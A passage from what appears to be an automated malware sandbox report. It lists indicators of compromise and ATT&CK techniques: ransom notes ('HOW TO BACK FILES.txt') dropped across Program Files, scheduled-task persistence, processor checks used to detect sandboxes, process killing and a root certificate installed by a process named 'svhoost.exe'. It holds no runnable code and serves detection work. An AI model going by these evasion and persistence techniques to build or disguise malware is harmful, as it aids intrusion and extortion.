PID 8476 set thread context of 6296	8476	WeQEAW3kaoXuMbb80vOzIlmY.exe	292

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.YourPhone_0.19051.7.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppTiles\contrast-black\SplashScreen.scale-125_contrast-black.png	ld.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ko-kr\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Cambria.xml	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherIcons\30x30\23.png	ld.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Videos\SmartSelect\Magic_Select_crop_handles.mp4	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\AppxSignature.p7x	ld.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\HOW TO BACK FILES.txt	ld.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ru-ru\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\C2RManifest.proofing.msi.16.en-us.xml	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN027.XML	ld.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\he-il\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE\PREVIEW.GIF	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\Assets\contrast-white\PeopleAppList.targetsize-64_altform-unplated.png	ld.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\de-de\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Windows.Photos_2019.19071.12548.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\PhotosMedTile.contrast-black_scale-125.png	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.GetHelp_10.1706.13331.0_x64__8wekyb3d8bbwe\Assets\MediumTile.scale-200_contrast-black.png	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\Autogen\JSByteCodeCache_64	ld.exe
File created	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\microsoft.system.package.metadata\HOW TO BACK FILES.txt	ld.exe
File created	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Car\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\mesa3d.md	ld.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\jmxremote.password.template	ld.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\mesa3d.md	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f7\FA000000007	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-black\WideTile.scale-100_contrast-black.png	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteWideTile.scale-125.png	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PIXEL\THMBNAIL.PNG	ld.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsFeedbackHub_1.1907.3152.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\InsiderHubSplashWideTile.scale-125_contrast-white.png	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedWideTile.scale-200.png	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-36.png	ld.exe
File created	C:\Program Files\Microsoft Office\root\Templates\1033\GettingStarted16\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office15\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugins\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sk-sk\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-100_kzf8qxf38zg5c\Assets\Images\SkypeWideTile.scale-100_contrast-black.png	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\AccessR_Grace-ppd.xrm-ms	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-black\StoreLogo.scale-400_contrast-black.png	ld.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files-select\js\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\classlist	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\Assets\ScreenSketchSquare44x44Logo.targetsize-72_altform-unplated_contrast-white.png	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Thumbnails\Sticker_Icon_ReptileEye.png	ld.exe
File created	C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.20875.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\HOW TO BACK FILES.txt	ld.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\en-gb\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019R_Grace-ul-oob.xrm-ms	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherImages\210x173\2.jpg	ld.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaTypewriterBold.ttf	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SKY\SKY.ELM	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_2019.729.2301.0_neutral_~_8wekyb3d8bbwe\AppxSignature.p7x	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherImages\210x173\1.jpg	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-60.png	ld.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_48.49.31001.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\GamesXboxHubLargeTile.scale-125_contrast-white.png	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Viewpoints\Dark\MilitaryRight.png	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\EduWorks Data Streamer Add-In\DataStreamerLibrary.dll.config	ld.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\sv-se\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\ro-ro\HOW TO BACK FILES.txt	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalR_Retail-pl.xrm-ms	ld.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Standard2019VL_MAK_AE-ppd.xrm-ms	ld.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireMedTile.scale-200.jpg	ld.exe
File created	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\osf\HOW TO BACK FILES.txt	ld.exe
File created	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Place\contrast-black\HOW TO BACK FILES.txt	ld.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\axplont.job	random.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 12 IoCs

pid	pid_target	Process	procid_target
6108	640	WerFault.exe	166
5832	5168	WerFault.exe	172
6808	5168	WerFault.exe	172
6500	5060	WerFault.exe	204
8468	7420	WerFault.exe	208
8832	5676	WerFault.exe	255
2228	4636	WerFault.exe	259
9140	9156	WerFault.exe	265
2468	7924	WerFault.exe	322
6100	8276	WerFault.exe	358
8164	7664	WerFault.exe	357
4528	5960	WerFault.exe	182

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GTA_V.tmp
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	GTA_V.tmp
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe

Creates scheduled task(s) 1 TTPs 22 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
732	schtasks.exe
8060	schtasks.exe
9044	schtasks.exe
6676	schtasks.exe
4856	schtasks.exe
2628	schtasks.exe
5600	schtasks.exe
7716	schtasks.exe
3760	schtasks.exe
5600	schtasks.exe
5884	schtasks.exe
8944	schtasks.exe
8272	schtasks.exe
6800	schtasks.exe
6128	schtasks.exe
4516	schtasks.exe
5380	schtasks.exe
8876	schtasks.exe
8304	schtasks.exe
8820	schtasks.exe
1272	schtasks.exe
2964	schtasks.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery

T1057

pid	Process
2528	tasklist.exe
6232	tasklist.exe
364	tasklist.exe
9204	tasklist.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	252	Go-http-client/1.1

Kills process with taskkill 1 IoCs

evasion

pid	Process
5772	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133617333282974790"	chrome.exe

Modifies registry class 63 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\Shell\SniffedFolderType = "Generic"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1226833921"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2 = 3a002e803accbfb42cdb4c42b0297fe99a87c641260001002600efbe1100000009c6e09240a1da01a96b3ab041b4da01a96b3ab041b4da0114000000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2\0 = 4400310000000000c158798410006100340009000400efbec1587884c15879842e000000e8330200000009000000000000000000000000000000b5d4b0006100000010000000	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\Shell	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202020202020202	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\NodeSlot = "10"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 020000000100000000000000ffffffff	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2\MRUListEx = 00000000ffffffff	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2\0	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\Shell	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202020202	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2\0\NodeSlot = "12"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2\0\MRUListEx = ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2\NodeSlot = "11"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202020202	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\MRUListEx = ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1226833921"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2\MRUListEx = ffffffff	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\Shell\SniffedFolderType = "Generic"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 0100000000000000ffffffff	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell\SniffedFolderType = "Documents"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1 = 14002e80922b16d365937a46956b92703aca08af0000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	chrome.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	svhoost.exe
